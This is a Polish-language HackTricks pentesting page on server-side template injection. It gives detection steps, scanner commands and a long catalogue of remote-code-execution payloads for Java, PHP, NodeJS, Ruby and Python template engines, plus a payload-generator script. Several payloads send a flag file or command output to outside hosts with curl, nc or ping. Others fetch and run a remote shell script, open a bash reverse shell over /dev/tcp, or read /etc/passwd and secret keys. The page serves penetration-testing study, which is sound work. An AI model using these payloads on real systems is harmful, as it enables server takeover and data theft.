hacktricks/pentesting-web/ssti-server-side-template-injection
2024-11-19 12:03:22 +00:00
..
el-expression-language.md Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack. 2024-09-04 13:37:30 +00:00
jinja2-ssti.md Translated ['network-services-pentesting/pentesting-smtp/smtp-smuggling. 2024-08-18 11:02:25 +00:00
README.md Translated ['README.md', 'binary-exploitation/format-strings/README.md', 2024-11-19 12:03:22 +00:00

SSTI (Server Side Template Injection)

{% hint style="success" %}

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeUcz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks
{% endhint %}

RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Z misją promowania wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów z dziedziny technologii i cyberbezpieczeństwa w każdej dyscyplinie.

{% embed url="https://www.rootedcon.com/" %}

Czym jest SSTI (Server-Side Template Injection)

Server-side template injection to luka, która występuje, gdy atakujący może wstrzyknąć złośliwy kod do szablonu, który jest wykonywany na serwerze. Ta luka może występować w różnych technologiach, w tym Jinja.

Jinja to popularny silnik szablonów używany w aplikacjach internetowych. Rozważmy przykład, który demonstruje podatny fragment kodu używający Jinja:

output = template.render(name=request.args.get('name'))

W tym podatnym kodzie parametr name z żądania użytkownika jest bezpośrednio przekazywany do szablonu za pomocą funkcji render. Może to potencjalnie pozwolić atakującemu na wstrzyknięcie złośliwego kodu do parametru name, co prowadzi do wstrzyknięcia szablonu po stronie serwera.

Na przykład, atakujący mógłby przygotować żądanie z ładunkiem takim jak ten:

http://vulnerable-website.com/?name={{bad-stuff-here}}

Payload {{bad-stuff-here}} jest wstrzykiwany do parametru name. Ten payload może zawierać dyrektywy szablonów Jinja, które umożliwiają atakującemu wykonanie nieautoryzowanego kodu lub manipulację silnikiem szablonów, co potencjalnie może prowadzić do przejęcia kontroli nad serwerem.

Aby zapobiec podatnościom na wstrzykiwanie szablonów po stronie serwera, deweloperzy powinni upewnić się, że dane wejściowe od użytkowników są odpowiednio oczyszczane i walidowane przed wstawieniem ich do szablonów. Wdrożenie walidacji danych wejściowych i użycie technik ucieczki uwzględniających kontekst mogą pomóc w złagodzeniu ryzyka tej podatności.

Wykrywanie

Aby wykryć wstrzykiwanie szablonów po stronie serwera (SSTI), początkowo fuzzing szablonu jest prostym podejściem. Polega to na wstrzykiwaniu sekwencji znaków specjalnych (${{<%[%'"}}%\) do szablonu i analizowaniu różnic w odpowiedzi serwera na dane regularne w porównaniu do tego specjalnego payloadu. Wskaźniki podatności obejmują:

  • Rzucone błędy, ujawniające podatność i potencjalnie silnik szablonów.
  • Brak payloadu w odbiciu lub brakujące jego części, co sugeruje, że serwer przetwarza go inaczej niż dane regularne.
  • Kontekst tekstowy: Rozróżnienie od XSS poprzez sprawdzenie, czy serwer ocenia wyrażenia szablonów (np. {{7*7}}, ${7*7}).
  • Kontekst kodu: Potwierdzenie podatności poprzez zmianę parametrów wejściowych. Na przykład, zmieniając greeting w http://vulnerable-website.com/?greeting=data.username, aby sprawdzić, czy wyjście serwera jest dynamiczne czy stałe, jak w greeting=data.username}}hello, zwracając nazwę użytkownika.

Faza identyfikacji

Identyfikacja silnika szablonów polega na analizie komunikatów o błędach lub ręcznym testowaniu różnych payloadów specyficznych dla języka. Typowe payloady powodujące błędy to ${7/0}, {{7/0}} i <%= 7/0 %>. Obserwacja odpowiedzi serwera na operacje matematyczne pomaga określić konkretny silnik szablonów.

Identyfikacja przez payloady

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

Narzędzia

TInjA

efektywny skaner SSTI + CSTI, który wykorzystuje nowatorskie poligloty

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Tabela Wstrzyknięć Szablonów

interaktywna tabela zawierająca najskuteczniejsze poligloty wstrzyknięć szablonów wraz z oczekiwanymi odpowiedziami 44 najważniejszych silników szablonów.

Eksploity

Ogólne

W tej liście słów możesz znaleźć zmienne zdefiniowane w środowiskach niektórych z wymienionych poniżej silników:

Java

Java - Podstawowe wstrzyknięcie

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Pobierz zmienne środowiskowe systemu

${T(java.lang.System).getenv()}

Java - Pobierz /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Możesz przetestować swoje ładunki na https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nic
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Ominięcie piaskownicy

⚠️ działa tylko w wersjach Freemarker poniżej 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Więcej informacji

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Więcej informacji

Thymeleaf

W Thymeleaf, powszechnym testem na podatności SSTI jest wyrażenie ${7*7}, które również ma zastosowanie w tej silniku szablonów. Dla potencjalnego zdalnego wykonania kodu można użyć takich wyrażeń jak:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf wymaga, aby te wyrażenia były umieszczane w określonych atrybutach. Jednak wstawianie wyrażeń jest wspierane dla innych lokalizacji szablonów, używając składni takiej jak [[...]] lub [(...)]. Tak więc, prosty ładunek testowy SSTI może wyglądać jak [[${7*7}]].

Jednak prawdopodobieństwo, że ten ładunek zadziała, jest ogólnie niskie. Domyślna konfiguracja Thymeleaf nie wspiera dynamicznego generowania szablonów; szablony muszą być zdefiniowane z góry. Programiści musieliby zaimplementować własny TemplateResolver, aby tworzyć szablony z ciągów w locie, co jest rzadkie.

Thymeleaf oferuje również wstępne przetwarzanie wyrażeń, gdzie wyrażenia w podwójnych podkreśleniach (__...__) są wstępnie przetwarzane. Ta funkcja może być wykorzystana w konstrukcji wyrażeń, jak pokazano w dokumentacji Thymeleaf:

#{selection.__${sel.code}__}

Przykład podatności w Thymeleaf

Rozważ następujący fragment kodu, który może być podatny na wykorzystanie:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

To wskazuje, że jeśli silnik szablonów przetwarza te dane wejściowe niewłaściwie, może to prowadzić do zdalnego wykonania kodu uzyskującego dostęp do adresów URL takich jak:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Więcej informacji

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Ominięcie filtrów

Można użyć wielu wyrażeń zmiennych, jeśli ${...} nie działa, spróbuj #{...}, *{...}, @{...} lub ~{...}.

  • Przeczytaj /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Niestandardowy skrypt do generowania ładunków
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Więcej informacji

Manipulacja widokiem Spring (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Stara wersja Pebble ( < wersja 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Nowa wersja Pebble:

{% raw %}
{% set cmd = 'id' %}
{% endraw %}





{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava to projekt open source opracowany przez Hubspot, dostępny pod adresem https://github.com/HubSpot/jinjava/

Jinjava - Wykonywanie poleceń

Naprawione przez https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Więcej informacji

Hubspot - HuBL (Java)

  • {% %} delimitery instrukcji
  • {{ }} delimitery wyrażeń
  • {# #} delimitery komentarzy
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - "A"
  • {{'a'.concat('b')}} - "ab"
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - klasa com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Szukaj "com.hubspot.content.hubl.context.TemplateContextRequest" i odkryj projekt Jinjava na Githubie.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Więcej informacji

Expression Language - EL (Java)

  • ${"aaaa"} - "aaaa"
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL) jest podstawową funkcją, która ułatwia interakcję między warstwą prezentacji (taką jak strony internetowe) a logiką aplikacji (taką jak zarządzane beany) w JavaEE. Jest szeroko stosowana w wielu technologiach JavaEE, aby uprościć tę komunikację. Kluczowe technologie JavaEE wykorzystujące EL to:

  • JavaServer Faces (JSF): Wykorzystuje EL do powiązania komponentów w stronach JSF z odpowiadającymi danymi i akcjami w backendzie.
  • JavaServer Pages (JSP): EL jest używane w JSP do uzyskiwania dostępu i manipulowania danymi w stronach JSP, co ułatwia łączenie elementów strony z danymi aplikacji.
  • Contexts and Dependency Injection for Java EE (CDI): EL integruje się z CDI, aby umożliwić płynne interakcje między warstwą webową a zarządzanymi beanami, zapewniając bardziej spójną strukturę aplikacji.

Sprawdź następującą stronę, aby dowiedzieć się więcej o eksploatacji interpreterów EL:

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Groovy (Java)

Następujące obejścia Menedżera Bezpieczeństwa zostały zaczerpnięte z tego opisu.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

Inne Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Z misją promowania wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów z dziedziny technologii i cyberbezpieczeństwa w każdej dyscyplinie.

{% embed url="https://www.rootedcon.com/" %}

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Więcej informacji

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Błąd
  • {{foobar}} Nic
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Format szablonu

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Więcej informacji

Plates (PHP)

Plates to silnik szablonów natywny dla PHP, czerpiący inspirację z Twig. Jednak w przeciwieństwie do Twig, który wprowadza nową składnię, Plates wykorzystuje natywny kod PHP w szablonach, co czyni go intuicyjnym dla programistów PHP.

Controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Szablon strony:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Layout template:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Więcej informacji

PHPlib i HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB jest tym samym co PHPlib, ale przeniesionym do Pear.

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Więcej informacji

Inne PHP

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Więcej informacji

patTemplate (PHP)

patTemplate to niekompilujący silnik szablonów PHP, który używa znaczników XML do podziału dokumentu na różne części

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Więcej informacji

Handlebars (NodeJS)

Przechodzenie ścieżek (więcej informacji tutaj).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Błąd
  • ${7*7} = ${7*7}
  • Nic
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Więcej informacji

JsRender (NodeJS)

Szablon Opis
Oceń i renderuj wynik
Oceń i renderuj wynik zakodowany w HTML
Komentarz
i Zezwól na kod (domyślnie wyłączone)
  • = 49

Strona Klienta

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Serwer Po Stronie

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Więcej informacji

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Przykład renderowania po stronie serwera

var pugjs = require('pug');
home = pugjs.render(injected_page)

Więcej informacji

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Brak wyjścia
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Błąd
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

Więcej informacji

Inne NodeJS

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Błąd
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Więcej informacji

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Więcej informacji

Inne Ruby

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

Python

Sprawdź następującą stronę, aby poznać sztuczki dotyczące wykonywania dowolnych poleceń z ominięciem piaskownic w pythonie:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Błąd
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}






{{os.system('whoami')}}
{{os.system('whoami')}}

Więcej informacji

Jinja2 (Python)

Oficjalna strona

Jinja2 to w pełni funkcjonalny silnik szablonów dla Pythona. Posiada pełne wsparcie dla unicode, opcjonalne zintegrowane środowisko wykonawcze w piaskownicy, szeroko stosowane i licencjonowane na zasadach BSD.

  • {{7*7}} = Błąd
  • ${7*7} = ${7*7}
  • {{foobar}} Nic
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}






{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Format szablonu

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE nie zależy od __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Więcej szczegółów na temat nadużywania Jinja:

